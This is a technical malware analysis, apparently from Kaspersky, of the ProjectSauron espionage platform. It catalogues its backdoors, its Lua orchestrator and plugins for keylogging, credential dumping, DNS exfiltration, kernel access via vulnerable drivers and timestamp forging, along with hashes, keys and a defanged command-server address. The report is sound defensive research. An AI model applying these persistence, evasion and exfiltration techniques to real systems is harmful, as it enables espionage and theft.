KASPERSKY lab

THE PROJECTSAURON APT. TECHNICAL ANALYSIS

Global Research and Analysis Team

GREAT

Pipe backdoor / RPC Helper

Samples:

MD5	Size	Format	Bits	Linker	Compilation timestamp
46a676ab7f179e511e30dd2dc41bd388	9728	EXE	32	11.0	2014.01.22 13:42:08
9f81f59bc58452127884ce513865ed20	12800	EXE	64	11.0	2014.12.18 13:01:56
e710f28d59aa529d6792ca6ff0ca1b34	9728	EXE	32	11.0	2014.12.18 13:01:45

This module is a tiny application that runs as a Windows service. It starts the service control dispatcher with the name 'RPCHlpr' and only continues to run in case when the process token contains a "S-1-5-6" (*Service*) sid.

The module spawns one thread, creates a named pipe "\\.\pipe\rpchlp_0", and waits for connections to that pipe. Once a connection occurs, it creates another thread to carry out communication. Then it receives a 8-byte rc4 key and body of a command to run. Next it creates three pipes, "\\.\pipe\rpchlp_1", "\\.\pipe\rpchlp_2" and "\\.\pipe\rpchlp_3" for standard file handles (stdin, stdout, stderr) and waits for all these pipes to connect.

Depending on the command received, it may either execute the shellcode or start a process with the given command line and redirects RC4-encrypted input/output from all the handles from/to the sender.

Standard blob

The shellcode blob is expected to start with a magic value "0xC102AA02" (DWORD). The blob format is the following:

00 DWORD magic "0xC102AA02"
04 BYTE version 2
05 BYTE version minor – any
06 DWORD offset of entrypoint
0A DWORD blob size

Executable blobs of the described format are used in many components of the malicious platform and are referred in the description as "standard blobs".

Passive sniffer backdoor

Format: PE DLL 32/64 bit
File sizes: 75 – 91 Kb

Compilation timestamps, linker versions: multiple variant, but match those of the target OS files (usually "svchost.exe").

The module is known to be installed as either an **LSA password manager** library, or as a **Security Provider**.

The business logics is provided by one of the exported functions and is triggered when the corresponding system layer loads the library. When invoked, the module decrypts the first layer from the blob that contains actual code. The blob happens to have the same format as the RPC Helper payload. Once the magic value and code boundaries are verified, the code invokes the shellcode from the blob.

The shellcode removes subsequent layers of encryption and decompresses its payload using the **Jcalg1** algorithm. The payload contains another layer of shellcode that loads, relocates and invokes the PE binary inside. The configuration consists of 1-3 DLL files, the first one being the main module and 1-2 others are optional plugins.

The main module starts by enumerating all available plugins and starting them by calling the function exported by the name "ainit". Every plugin provides a pointer to its own function table to the calling core.

The configuration provided by the "upper" layer of the shellcode also contains the names of the event and mutex objects that are created by the core – these are usually unique for each sample.

Then, it locates its configuration data in the resource called "*CONFIG*" of type "*RT_CONFIG*". The resource is encrypted using AES-CBC with a hardcoded key "EFEB0A9C6ABA4CF5958F41DB6A31929776C643DEDC65CC9B67AB8B0066FF2492".

The key is not encrypted and can be located in the memory of the target processes while the module is running.

The configuration is in readable text format. It is separated into sections that refer to different plugins by headers starting with ':'. Every option contains a prefix that specifies its format – S (string), B (boolean), 'I', 'D', 'N' (integer), 'E' (list)

```
:Core
 [S]Public
 Key="ul35zkT/MGP3poQe+enL0dZef5rkaQtaZ78rn2qCsJjB45TCsSG26Qhz9lTtucKGpAqxmB5ByUOMsENKQL1twZm8zuxxfOIViGnj
 a0Yr49v8SlS9vCD/wibjo/0ri4c9JH80h5z3EWfXKIAmdgKRuCQXgiORBz4TFx1C+MRt0bzOYsM+kzuRsvUhmKPkL6iVAwpic1LGMH5S
 kMeWmtHbWYpOL+3U70YeHgFCKjWuhy9Nmt36EWZLKzZitjvYFq8EJ3QfpoMB+oWa9OhOlde2+9zOeTYPwGUq9t/oQwlXXTnfA7
 HkSVcvuoo+E//gzPJ/wT6Xq82IlsqB/IznIeaZaQ==
 [S]Process List="svchost.exe:*netsvc*,spoolsv.exe:*"
 [B]Monitor Child Thread=false
 [B]Disable Master Execute=false
 :Raw
 [S]IP="0.0.0.0"
 [B]Any Dest=false
 :Icmp
 [S]IP="0.0.0.0"
```

Then the module reads base64-encoded "*Public Key*" value from the config and sets it as RSA key. After that the module creates a socket and starts a new thread to monitor routing and IP changes. Finally, it starts every plugin, providing pointer to own function table.

Once a network packet is received by a plugin, it pushes the packet to the core and tries to decrypt the packet header with RC5 using the public key. If the first dword matches *0x11111111*, it decrypts the rest of the packet, verifies the CRC32 and appends it to the queue.

The packet is expected to be a command, either providing the core plugin with **the address of the C&C server to connect to**, the local port number to listen to, or the path to the additional local module to load and start. Depending on the command received in a packet, the module can:

Execute an arbitrary binary from disk

Load and start an encrypted plugin from disk

Spawn a network connection object

The plugin on disk is encrypted with RC6 with a 64-bit key that is provided by the C&C server. The decrypted and decompressed blob is expected either to be a valid PE file or a standard blob.

Plugin: “Raw”

MD5: many, irrelevant
Size: 25 Kb
Format: PE32/64 DLL

The packet handler processes IP packets of protocols: ICMP, IGMP, UDP, TCP.

The plugin extracts the contents from the incoming packets according to the corresponding protocol specification. For ICMP packets, it only passes those of type 8 (echo request). No additional checks are performed and since the payload is encrypted with an arbitrary key using RC5 it can be only filtered out by high entropy values in the payload.

Plugin: “Icmp”

MD5: many, irrelevant
Size: 11 Kb
Format: PE32/64 DLL

The plugin processes incoming ICMP packets using a raw socket object. The module verifies that the packet type is either 0 (echo reply) or 8 (echo request). If the ICMP type matches, it skips the ICMP header and passes the rest of the packet to the core.

Plugin: “Pcap”

MD5: many, irrelevant
Size: 24 Kb
Format: PE32/64 DLL

The plugin tries to open the *Device**NdisRaw* device. If failed, it enumerates all loaded drivers **using undocumented parameter** 11 of NtQuerySystemInformation and checks if "nps.sys" (network packet filter) is loaded. After this, it resolves the API of "packet.dll". Another mode of operation is to start the "NPF" service and work via *NdisRaw* device. In that case it provides wrappers to emulate the API of "packet.dll".

The plugin expects to receive IPv4 packets of no more than 1514 bytes. The only difference from "Raw" in further processing is that it supports only ICMP echo request, UDP and TCP packets.

There are monolithic versions of the passive backdoor that contain all the "plugins" inside the main binary (e.g. c3f8f39009c583e2ea0abe2710316d2a). These versions contain more plugins, descriptions follow.

Plugins: "PcapUdp", "PcapTcp"

The "PcapUdp" plugin captures all incoming raw packets and looks only for UDP ones that contain data after the UDP header. All such packets are accepted, decrypted and validated for the magic value. It uses the same API as the "pcap" plugin.

The "PcapTcp" is similar, it waits for incoming TCP packets and inspects data that follows the TCP header. The packet is expected to be of size between 0x76 and 0x1A5 bytes and should not be a broadcast packet.

Plugin: "Dns"

This plugin acts according to a predefined schedule. The "Poll Times" parameter specifies **the specific time when the plugin should try connect to its C&C server.** Format: "day_of_month/hour:minute,...". There can be up to 31 such entries. If current time matches one from the "Poll Times" list or "Poll on Start" was set to "true".

First it resolves the hostname specified by the "Start Marker" value. Then it only continues if the name was resolved and the returned IP address is equal to the one specified in the "Start Marker" second part. It forms the full DNS name to resolve by replacing the "%d" mark in the "Address Format" with "1" and then "2" etc until the total packet size is less than 0x11B bytes. The sum of received data is expected to be eq or more than 0x40 bytes.

Plugin: "Pipe"

The plugin looks for the option "Pipe Name" in the Core configuration, which is used as "\\.\pipe\%value%" for creating a pipe object. Then it waits for incoming connections to the named pipe, reads packets of size 287 bytes and processes them as any other packet obtained by plugins.

Plugin: “Http”

This plugin acts according to a predefined schedule. The “Poll Times” parameter specifies the specific time when the plugin should try to connect to its C&C server, up to 31 such entries.

It uses the default system User-Agent string or a default fallback value: “Mozilla/4.0 (compatible; MSIE 6.0; Win32)”. It also sends the following HTTP additional headers:

```
Accept:
text/html,text/plain,*/*
Accept-Language: en-us
Accept-Charset: ISO-8859-1,*
Keep-Alive: 300
Connection: Keep-Alive
Cache-Control: No-Cache
```

If proxy parameters are set, it uses them for sending the request. Sends a HTTP GET request to a given URL using Wininet API. The payload is extracted from the response using the “Start Mark” and “End Mark” strings, and then Base64-decoded.

Generic pipe backdoors

A set of executables that are usually delivered over the local network using legitimate remote administration tools from other compromised computers.

Samples:

MD5	Size	Format	Bits	Linker	Compilation timestamp
181c84e45abf1b03af0322f571848c2d	5632	EXE	32	11.0	2014.06.19 14:52:07
2e460fd574e4e4cce518f9bc8fc25547	5120	EXE	32	12.0	2010.09.08 12:53:30
1f6ba85c62d30a69208fe9fb69d601fa	5632	EXE	32	11.0	2014.02.17 13:57:32

Each sample is tailored for a particular network and is usually irrelevant for other victims. They are regular Windows executables. When started without parameters, the module copies itself to the %TEMP% directory and schedules the execution of its copy with parameter “-q” by creating a new scheduler task.

When run with one parameter, the module proceeds with its actions. It sets up a hardcoded 64-byte RC4 key, connects to a remote peer using a hardcoded IP address (local or external) and hardcoded port (different for each sample). Then it sends encrypted packet of 0x10 bytes starting with magic numbers, and expects to receive a payload in specific format, starting with magic numbers as well.

If the payload is successfully received from the server, it is called by the provided entry point offset. The shellcode is provided with pointers to API functions “GetProcAddress” and “LoadLibraryA” and the handle of the currently connected socket.

The variation 2e460fd574e4e4cce518f9bc8fc25547 has a hardcoded IP and port numbers but can use other values provided from the command line, and it does not copy itself or schedule a job, it just runs in place, and uses port 13000 as the default value.

Null session pipes backdoor

Samples:

MD5	Size	Format	Bits	Linker	Compilation timestamp
F3B9C454B799E2FE6F09B6170C81FF5C	34304	DLL	64	9.0	2013.01.04 05:33:21
0C12E834187203FBB87D0286DE903DAB	26624	EXE	32	11.0	2015.02.24 09:46:02
72B03ABB87F25E4D5A5C0E31877A3077	26624	EXE	32	11.0	2015.02.24 09:46:02
76DB7E3AF9BE2DFAA491EC1142599075	27648	EXE	32	11.0	2015.08.25 10:20:40
5D41719EB355FDF06277140DA14AF03E	34816	DLL	64	9.0	2015.10.01 18:04:26
A277F018C2BB7C0051E15A00E214BBF2	34816	DLL	64	12.0	2015.12.14 15:06:11

The DLL may be a Security Provider, Print Provider, or an EXE file.

The package is wrapped in a PE module that activates the standard blob. It usually contains the binary and the configuration file. The configuration file contains: the pipe name, the 2048-bit RSA public key and exponent.

The module creates a named pipe using a name provided in the config: *[HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] NullSessionPipes*

If the values does not contain the name of the pipe provided in the config, it appends it to the list and updates the registry value.

Then it creates the pipe \\.\PIPE\%pipe_name% and waits for incoming connections on the pipe.

Once an incoming connection is accepted, it performs a key exchange based on the RSA key provided by the configuration, and using two hardcoded 16-byte “magic” strings as challenge-response markers. After the handshake succeeds, it uses two 128-bit session keys for encrypting further communication with AES.

After that, the module is expects to receive the encrypted commands from the pipe:

1	Read arbitrary file's contents and optionally delete it after
2	Write arbitrary file
3	Enumerate files in a directory
4	Delete a file
5	Launch a standard 0xC102AA02 blob provided by the server
6	none

7	Bind on socket and wait incoming connection or connect to a remote host
8	Bind or connect and execute the succeeding shellcode passing the socket handle to it
9	Identify if the machine is 64-bit or not

Pipe and internet backdoor

Samples:

MD5	Size	Format	Bits	Linker	Compilation timestamp
0C4A971E028DC2AE91789E08B424A265	157696	DLL	64	9.0	2009.07.13 23:31:13
44C2FA487A1C01F7839B4898CC54495E	152576	DLL	64	9.0	2009.07.13 23:31:13
F01DC49FCE3A2FF22B18457B1BF098F8	155648	DLL	64	9.0	2009.07.13 23:31:13
F59813AC7E30A1B0630621E865E3538C	145408	DLL	64	9.0	2009.07.13 23:31:13
CA05D537B46D87EA700860573DD8A093	95232	DLL	32	9.0	2009.07.14 01:03:45
01AC1CD4064B44CDFA24BF4EB40290E7	115200	DLL	64	9.0	2009.07.14 01:24:44
1511F3C455128042F1F6DB0C3D13F1AB	115200	DLL	64	9.0	2009.07.14 01:24:44
57C48B6F6CF410002503A670F1337A4B	115200	DLL	64	9.0	2009.07.14 01:24:44
EDB9E045B8DC7BB0B549BDF28E55F3B5	105984	DLL	64	9.0	2009.07.14 01:24:44

The DLL libraries are installed as a Security Providers.

This module employs a different kind of encryption by using a **custom virtual machine** for decrypting its payload. The final artefact of decryption is a standard blob that is then started as usual. The configuration data in the shellcode is also stored in a unique format of several encrypted records.

The blob contains the actual Trojan component. The configuration blob consists of two records: the first one is the actual config data including the C2 URL, and the second is another standard blob that has a special deinstallation library and its own configuration data inside.

The configuration contains the following data:

0x101	RSA key
0x102	Exponent
0x301	Format string for a file name. Its default value is "C:\System Volume Information\%VID%", where the "%VID%" part is then replaced by a GUID-like representation of the parts of the RSA key.
0x8280 – 0x9000 (step 0x100)	C&C URL configuration

The module collects basic information about the system and sends HTTP POST requests to one of the C&C servers specified in the configuration blob. The encrypted response from the server should contain a valid PE DLL file that has an exported function called “init”. Once such response is received, the module calls the exported function.

The deinstallation DLL is accompanied by its own configuration file listing the files to be deleted:

0x101, 0x102	Names of event objects to wait for
0x103	Guid-like filename (see 0x301 in the previous description) to be deleted
0x201+	Locations of files to delete

Core platform (LUA VFS)

Samples:

MD5	Size	Format	Bits	Linker	Compilation timestamp
71EB97FF9BF70EA8BB1157D54608F8BB	175616	DLL	32	7.10	2001.10.19 20:04:36
2F49544325E80437B709C3F10E01CB2D	176128	DLL	32	7.10	2004.08.04 06:05:55
7261230A43A40BB29227A169C2C8E1BE	193536	DLL	32	9.0	2008.04.14 02:12:46
FC77B80755F7189DEE1BD74760E62A72	722944	DLL	32	7.10	2008.04.14 16:09:56
A5588746A057F4B990E215B415D2D441	170496	DLL	32	7.10	2009.06.25 08:27:19
0209541DEAD744715E359B6C6CB069A2	429056	DLL	64	9.0	2009.07.13 23:37:02
FCA102A0B39E2E3EDDD0FE0A42807417	460288	DLL	64	11.0	2009.07.14 01:25:06
5373C62D99AFF7135A26B2D38870D277	175616	DLL	32	7.10	2010.09.01 19:47:41
91BB599CBBA4FB1F72E30C09823E35F7	175616	DLL	32	7.10	2010.09.18 06:53:38
914C669DBAAA27041A0BE44F88D9A6BD	722432	DLL	32	9.0	2010.11.20 12:06:05
C58A90ACCC1200A7F1E98F7F7AA1B1AE	983025	DLL	64	9.0	2010.11.20 13:13:26
63780A1690B922045625EAD794696482	417792	DLL	32	8.0	2011.05.11 21:28:20
8D02E1EB86B7D1280446628F039C1964	719872	DLL	32	9.0	2012.04.23 14:38:16
6CA97B89AF29D7EFF94A3A60FA7EFE0A	135170	EXE	32	9.0	2012.08.10 12:10:28
93C9C50AC339219EE442EC53D31C11A2	135610	EXE	32	9.0	2012.08.10 12:10:28
F7434B5C52426041CC87AA7045F04EC7	607232	DLL	64	8.0	2012.08.31 07:03:11
F936B1C068749FE37ED4A92C9B4CFAB6	371712	DLL	32	9.0	2012.10.04 16:45:50
2054D07AE841FCFF6158C7CCF5F14BF2	379392	DLL	32	9.0	2013.10.13 07:12:17
6CD8311D11DC973E970237E10ED04AD7	388608	DLL	32	11.0	2014.03.04 09:16:37

The platform core module is usually wrapped in an encrypted container like the one used for the passive backdoor module. The DLL versions provide the similar interface mimicking an LSA password filter, or as a Security Provider.

It decrypts the standard blob that consists of two parts: the orchestrator binary and the configuration blob. The configuration blob is a virtual filesystem that contains all binary plugins required for executing a particular task. It may include other standard blobs containing other execution scripts. The last item of the VFS is always a precompiled Lua script that instructs the core what to do.

The VFS is encrypted with RC4 or Salsa20 (depending on the version of the platform) and compressed with Zlib.

The orchestrator executes the Lua script using embedded runtime and provides basic functions to the script. The original Lua interpreter was modified: the version embedded in the platform uses unicode (utf-16) encoding for storing string values and variable names.

The execution flow is controlled by the script. External plugins are DLL libraries, they are referenced by name. The provided interface emulates console applications: they have emulated stdin/stdout/stderr, the input data is provided as command-line parameters and input streams. Output can be chained by a standard shell operator "|" to be fed into another program. Overall flow looks like a shell script. The "exec" and "exec2str" commands support basic redirection operators (">", ">>", "<", "|").

Modules provided by the Lua runtime:

table
io
os
string
path
w

All the modules except "w" are standard for LUA. The module "w" is custom, it implements the following specific commands:

args	Get the arguments
cd	Change current directory
create_log	Initialize a new encrypted log object (on disk or in memory)
debugf	Call OutputDebugStringW()
drop_token	Close handle to some object
exec	Execute a plugin, results are stored in the log
exec2str	Execute a plugin, return the result as string
exit	Stop execution
frontend	Return the value of an internal variable
get_id	Return the value of an internal variable

get_mem_log	Get the contents of the current in-memory log storage
get_log_info	Get the status of the current log storage
get_proc_bits	Return hardcoded value (32, 64)
get_windows_bits	Return whether OS is 32-bit or 64-bit
load_state	Load execution state from a file or from the registry
messagebox	Show a standard message box
printf	Write to the emulated stdout stream
pwd	Return the current working directory
randgen	Return a buffer full of random data
randstr	Return a random alphanumeric string
randrange	Return a random value that is bound by a given range
save_state	Save execution state in a file or from the registry
shutdown_detected	Return 1 if the OS is shutting down
set	Set internal parameter's value by name
sleep	Delay
start_log	Attach to the encrypted log storage
stop_log	Detach from the current encrypted log storage

Plugins

The rest of the functionality is provided by the plugins. Most of the plugins contain a full description of its purpose and available command line keys that can be printed if no parameters were specified, or if requested by using a “/?”, “-?”, “/h” command line parameter. These descriptions (if present) are presented as-is.

VFS name	Description (original, when present)
arpping	**ARP scanner** -r Resolve hosts that answer. -l Print only replying Ips. -m Do not display MAC addresses.
attrib	**Displays or changes file attributes** ATTRIB [/S][+R | -R] [+A | -A] [+S | -S] [+H | -H] [drive:][path] + Sets an attribute. - Clears an attribute. R Read-only file attribute. A Archive file attribute. S System file attribute.

	H Hidden file attribute. [drive:][path]<filename> Specifies a file or files for attrib to process. /S Processes matching files in the current folder and all subfolders.
basex	**Base 64/32/16 en/de-coder** [-b <base>] [-d [-f]] [-h] Options: -b base 64, 64url, 32, 32url or 16. Default is 64 -d Decode data. Default is to encode -f Force decoding when input is invalid/corrupt -h This cruft Uses standard in/out. See man page for examples.
blob	*Additional blob that should be decoded and loaded, usually contains another copy of the orchestrator and its own VFS*
cat	**Displays the contents of file(s)** cat [options] {file(s) | - | @- Options: -b <lines> Display only the first <lines> lines (head). Can not be used with -t option. -t <lines> Display only the last <lines> lines (tail). Can not be used with -b option. -e Display $ at end of each line. -n Number all output lines. -N Print a header containing the file name. -F Print full path in header. -s Never more than one single blank line. -f Follow output. With no FILE, or when FILE is -, read standard input. If the - is prepended with a @, stdin is a list of files.
copy	***Copy files or directories on disk***
del	***Delete files or directories***
detach	**Run blobs in the background** Usage: list Show running blobs start <file> [[pid/name] ["args"]] Start running a blob stop <id> Stop a running blob wait <id> <timeout> Wait for a blob to finish
dext	**DNS Exfil Tool** [options] suffix Options: -a Assemble rows of DNS names back to a single string of data -f Force - removes checks of DNS names and lengths (during split)

	and missing/wrapped data (during assembly) -l length Specify length of data part of suffix (default and max is %d) -r Randomize data lengths (length/2 to length) -h This cruft Suffix format: domain.com See man page for examples. *Takes* the *input string on the stdin stream and generates a* sequence *of* sub*domain names to be resolved for actual exfiltration. The list is written to the stdout* stream. The DNS resolution is expected to be performed by another tool.
dinst	**Display installed applications** Options: -v Display additional information. -p Display product patches.
dir	**Displays files and subdirectories** dir [options] [drive:][path][filename]... Options: -A[-]x Displays files with specified attributes. attribs D Directories R Read-only files H Hidden files A Files ready for archiving S System files P Reparse points E Encrypted files - Prefix meaning not -B Uses bare format (no heading information or summary). -E Checks that specified paths exists (disables pattern matching) -F Force display of full path. -C Do not display the thousand separator in file sizes. -O[-]x List by files in sorted order. orders N By name (alphabetic) S By size (smallest first) E By extension (alphabetic) D By date/time (oldest first) G Group directories first - Prefix to reverse order -S Recursive directory listing. -Tx Controls which time field displayed or used for sorting. fields C Creation A Last Accessed M Last Modified -X Use the short names generated for non-8dot3 file names. If no short name is present the normal name is displayed. -da<DATE> Only show files later than <DATE> -db<DATE> Only show files earlier than <DATE> Date is in YYYYMMDDHHMM -za<SIZE> Only shows files bigger than or equal to <SIZE> -zb<SIZE> Only shows files smaller than or equal to <SIZE> You can use K/M/G as in 20K

droop	**Additional blob containing one DLL file – downloader** When activated, the library downloads a file using a hardcoded URL "**hXXp://178.211.40.117/favicon.ico**". The file is then decrypted with RSA using a 2048-bit key. If the decrypted blob matches the format of a standard blob, it is then executed.
emaild	**Dump stored email accounts** The plugin displays settings for applications that uses Microsoft Internet Account Manager. This includes Outlook and Outlook Express, but also an unknown number of third party applications.
ftime	**Display or copy file time** [-E] [-c file] file Options: -E Exclude the PE header time stamp. -c Copy file time from the specified file to the target. *This plugin is used to tailor each installed executable file to the environment, modifying the filesystem and PE format timestamps to be equal to the corresponding values of legitimate files, i.e. "ntdll.dll" or "svchost.exe". This prevents fast discovery of malicious files during forensic analysis.*
get2	**Get files using file api** Usage: [options] <files..> Options: -r Recurse subdirectories -a Abort on failure (file not found, etc)
grep	**Search for pattern in files** [options] <regexp> [file | @file] Indata types: -U Indata is UNICODE (default is auto-detect) -u Indata is ASCII -b Indata is binary Regexp interpretation: -i Ignore case distinctions Miscellaneous: -s Suppress error messages -v Select non-matching lines -I Ignore binary files Output control: -N <NUM> Read only NUM lines in each file -m <NUM> Stop after NUM matches -n Print line number with output lines -h Suppress the prefixing filename on output -L Only print FILE names containing no match -l Only print FILE names containing matches -c Only print a count of matching lines per FILE

	-p Only print the match (or submatch if used) of matching lines Context control: -B <NUM> Print NUM lines of leading context -A <NUM> Print NUM lines of trailing context -C <NUM> Print NUM lines of output context With no FILE, or when FILE is -, read standard input. When FILE is @[file], read file NAMES from [file]. When FILE is @-, read file NAMES from standard input.
ilpsend	**Two-way C&C communication transport**
injchk	**Check for injection detecting** Options: -v Enable verbose output *This plugin detects active drivers of many security products.* *Contains string "i bootleg" as part of the version string.* *Uses a local privilege escalation exploit.* *("kern read")*
inject	**Inject a plugin into another process**
kb64, kblog.blob, kblog.blob64, kblogblob	*Blob-wrapped package of the "kblog" plugin*
kblog	**Keylogger**
kblogi	**Keylogger** [options] Options: kblogi -p proc Inject using process name or pid. Default "explorer.exe". -c file Convert mode: Read log from file and convert to text. -t sec Maximum running time in seconds -v Verbose mode -? Displays this usage information.
key	RSA-2048 key used by the plugin "npexfil"
kgate, xkgate	**Kernel Gate** Drops and executes vulnerable Outpost Sandbox driver (32 bit, v. 02.02.0597 from 2008) or avast! Virtualization driver (64 bit, v. 9.0.2006.159) **to gain kernel mode** execution and load own driver (knatt)
knatt.sys	Network packet filtering and modification driver
lsadump	**Dump LSA secrets**
mkdir	***Create a directory on disk***
move	**Renames a file or directory**

	move move [options] [drive:][path]<source name> [drive:][path]<destination name> Options: -O Overwrite existing file (not directory). Note! When source and destination is on different drives, move may fail. In such cases use copy and del.
mytrampoline.blob	***Shadow filesystem exfiltration tool***
netnfo	**Dump network information** [options] Options: -i Dump interface information. -r Dump routing table. -a Dump ARP cache. -c Dump active network connections. -n Dump DNS cache. -A Dump all information.
netx	**Displays open ports** [-u] [-t] [-f] Options: -u Display open UDP ports. -t Display open TCP ports. -f Display full path to application (default: only show filename) -I Ignore rootkit alert. Default is both TCP and UDP ports.
npbd64	*Blob containing a "NullSessionPipes backdoor"* and its configuration
npclient2, npexfil	*Tool for exfiltrating data to a remote server*
nslu	**Mini DNS name/address lookup** [options] <address/name> ... Options: -s <name> Send the query to the given server. -t <type> Query type (default is to detect, either A or PTR). -T List supported query type. -c Force use of TCP for the query. -r Disallow recursive queries. -n Disallow use of NetBT for resolution. -l Use local cache only. -b Bypass any locally cached names. Use - instead of <address/name> to read addresses/names from stdin. *This plugin may be chained with the "dext" plugin to implement a DNS exfiltration channel.*
onpusher.blob	**"Online Push v2"**

	Blob containing the plugin "npclient2", controlling script and other dependencies for data exfiltration. The script looks for the data collected with the "mytrampoline" plugin from the shadow filesystem and pushes it to a remote storage ("**vault**").
ping	**Ping or traceroute a remote host** [options] <hosts..> Options: -r Set mode to Traceroute (default: ICMP ping) -a Resolve addresses to hostnames -d delay Delay in milliseconds between pings (default: 1000 ms) -w timeout Timeout in milliseconds for each reply (default: 4000 ms) -f Set don't fragment flag (to check MTU) -i ttl Specify Time To Live value (default: 128) -l size Send buffer size (default: 32 bytes) -n count Number of echo requests to send (default: 1) -t Ping the specified host until stopped -u Only show IP-number of hosts that reply -s Only show IP-number of hosts that does not reply
pkill	**Terminate process(es)** pkill pkill [-a] <pid|name>
plist	**Print process list** plist plist [mode] [options] Modes: (default is to show "visible" processes) -p {pid} Find process using PID -x Search for hidden processes -s {sid} Filter process using Session ID Options -a All details -b Use bare format (less formatting/spaces) -l All details except modules list -n {string} Search substring in process name and command-line -f {string} Search substring in process filename (full-path) -S Show Session ID column
pstoredi	**Dump protected storage** [options] Options: pstoredi -p <pid> Specify process to inject into (default is winlogon.exe). -l Do not load unloaded registry hives.
put2	**Put files from file api** Usage: [options] <source> [dest]
pview	***Return the list of currently active processes***

rbswap	**Schedule/List/Cancel pending file moves** [-h] [-l] [-d #] [-o] {source} [destination] Options: h - This help l - List files scheduled for moving d - Cancel the specified sheduled move o - Overwrite existing file If no destination is specified the source file will be deleted at the next reboot (instead of moved).
regedit	**Command line registry editor** Usage: [options] [key1] [key2] ... Options: -i Import settings from stdin Note that the input must be on .reg format! -a Verbose display of values (human readable). -r Display on the .reg format. -s Traverse subdirectories as well. -l Load all unloaded user registry hives. [key] If key(s) are specified those will be displayed, otherwise a regedit "shell" is started.
samdump	**Dump the SAM database** [-n] Options: -n Do not include password history.
sc	**Service controller** [-s server] <command> [command specific args] Global options: -s Specify server name (default localhost) Commands: list List services. query Dump information about a service. start Start a service. stop Stop a service. pause Pause a service. continue Make a paused service resume execution. create Create a new service. config Change configuration for a service. delete Delete a service. desc Change the description of a service. To get help for a specific command use: %s {command} -h
sinfo	**System information** sinfo Usage: sinfo [-a]

	-a Show volume information for all drives (removable, network etc). Warning, use this option with care since it causes cdrom-spinup, little network traffic and floppy-noise
skip	*Filter the input lines from stdout and print only those that contain (or do not contain, depending on the command line switches) the particular substring*
sl	**Port scanner with TCP/UDP/ICMP support** sl [-?bhijnMpPrTUvVz] [-cdDgmq <n>] [-tu <n>[,<n>-<n>]] IP[,IP-IP] (use a single '-' character to read ip's from stdin) -? - Shows this help text -b - Get port banners -c - Timeout for TCP and UDP attempts (ms). Default is 4000 -d - Delay between host scans (ms). Default is 0 -D - Delay between port scans (ms). Default is 0 -g - Bind to given local port -h - Hide results for systems with no open ports -i - Just list responding hosts (IP addresses only) -j - Don't output "-----..." separator between IPs -m - Bind to given local interface IP -M - When pinging, use Windows builtin lib (icmp.dll) (default on Vista) -n - No port scanning - only pinging -p - Do not ping hosts before scanning -P - Print partial results -q - Timeout for pings (ms). Default is 2000 -r - Resolve IP addresses to hostnames -t - TCP port(s) to scan (a comma separated list of ports/ranges) -T - Use internal list of TCP ports -u - UDP port(s) to scan (a comma separated list of ports/ranges) -U - Use internal list of UDP ports -v - Verbose mode -V - Very Verbose mode -z - Randomize IP and port scan order -Z - Randomize source port instead of letting the OS select it. The randomization range is set to 2k -> 32k Example 1: sl -Vbht 80,100-200,443 10.0.0.1-200 Scan TCP ports 80, 100, 101...200 and 443 on all IP addresses from 10.0.0.1 to 10.0.1.200 inclusive, grabbing banners from those ports and hiding hosts that had no open ports.
smtpsend	***SMTP client*** [-v] [-p <port>] [-w <timeout>] [-f <nbr>] [-H <host>] [-A <header>] <server> <from> <to> [<body>] Options:

	-v Enable verbose output. Use multiple times for even more verbose output. -p Connect to server on <port>. Default port is 25. -w Number of ms to wait before aborting if server doesn't respond. Default: 10 minutes. -f Try to send HELO:s multiple times, if the server rejects the previous HELO:s. Default is to fail if the first is rejected. -H Claim to be the host <host> in the HELO handshake. Default: localhost. -A Append <header> as a header-row in the mail. Use multiple times if needed. <server> The dns-name or ip-address of the smtp-server. <from> The senders e-mail address. <to> The recipients e-mail address. <body> The file containing the actual e-mail. This file is read using the file-api. No processing is done on the data, so please make sure the line endings are the propper CRLF etc. If this argument is omitted, the e-mail is read from stdin. In this case, the body is assumed to be utf-16 and is converted to utf-8.
su	**Change user context** Options: [-u user] [-p password] [-x hash] [-i] [-t process] -t Take user context from process (name or pid) -i Specify interactive logon (default network) -x Specify hash for logon (NT-hash of password) -p Specify password for logon -u Specify user name for logon
sudetach	***Elevate privileges to a system account and inject a blob in a running system process.***
sux	***Elevate privileges to execute in the SYSTEM context***
symnet32	*Pre-packaged core* platform *with a script ready for installation in a target system*
uname	**Get OS version information**, computer name, processor architecture, machine role and OS edition (domain controller, workstation, compute cluster, datacenter, terminal server, storage server, small business, home server, etc.)
uninstdll	*Pre-packaged core platform with a script tasked for* removing all the traces *of the malicious components* in the system
users	**Dump user list** [options] Options: -f <pattern> Display only users where the name matches <pattern>. -s <server> Display users on <server>. Default is localhost.

w3get	**Download and upload files using HTTP(S)** [options] URL Options: -v Be verbose. -s Print downloaded data to stdout. Can be used in combination with -f, to save a copy as well. If this flag is used, everything else is sent to stderr. -f <file> Specify local file. -r <file> Specify file to post to server. -c <chunk size> Post argument to server. -C Allow w3get to send and receive cookies. (Default disable) -R Allow w3get to follow http redirections. (Default disable) -o Overwrite existing file. -k <key>=<value> Specify a key=value pair to post to server. -p <argument> Post argument to server. -d Direct connection to server, ignores proxy settings. -g <ip:port> Use this proxy instead of user's proxy settings.
wdogi	**Basic backdoor** <options> [hostname port] Options: -l listen mode (default connect mode) -p <port> local source port for listen/connect -s <ip> local source ip for listen/connect -d <delay> delay a number of seconds before starting -I <process> run injected in process (pid or name) -x <handle> use socket identified by handle -y <process> process to use socket from (default own) -f force injection even if protection detected -u port reuse: allow listen on a busy port -a <ip> accept connections from ip address only -A <port> accept connections from source port only -t <seconds> accept timeout -j listen/connect from injected process *The network communication component of the plugin is similar to the one implemented in the NullSessionPipes backdoor. However, the symmetric encryption algorithm used is RC6* combined with RSA for key exchange. The response from the server is checked against an 8-byte magic string. *The payload from the remote peer is expected to be a JCalg1-compressed DLL. It is loaded and started by the plugin.* *This plugin is found in many configurations of the core platforms, in many cases this is the only plugin that is activated by the script.* The hostname used is usually a local IP address (i.e. a domain controller in the compromised network).

weddll	**Passive sniffer backdoor** ready for installation in the target system
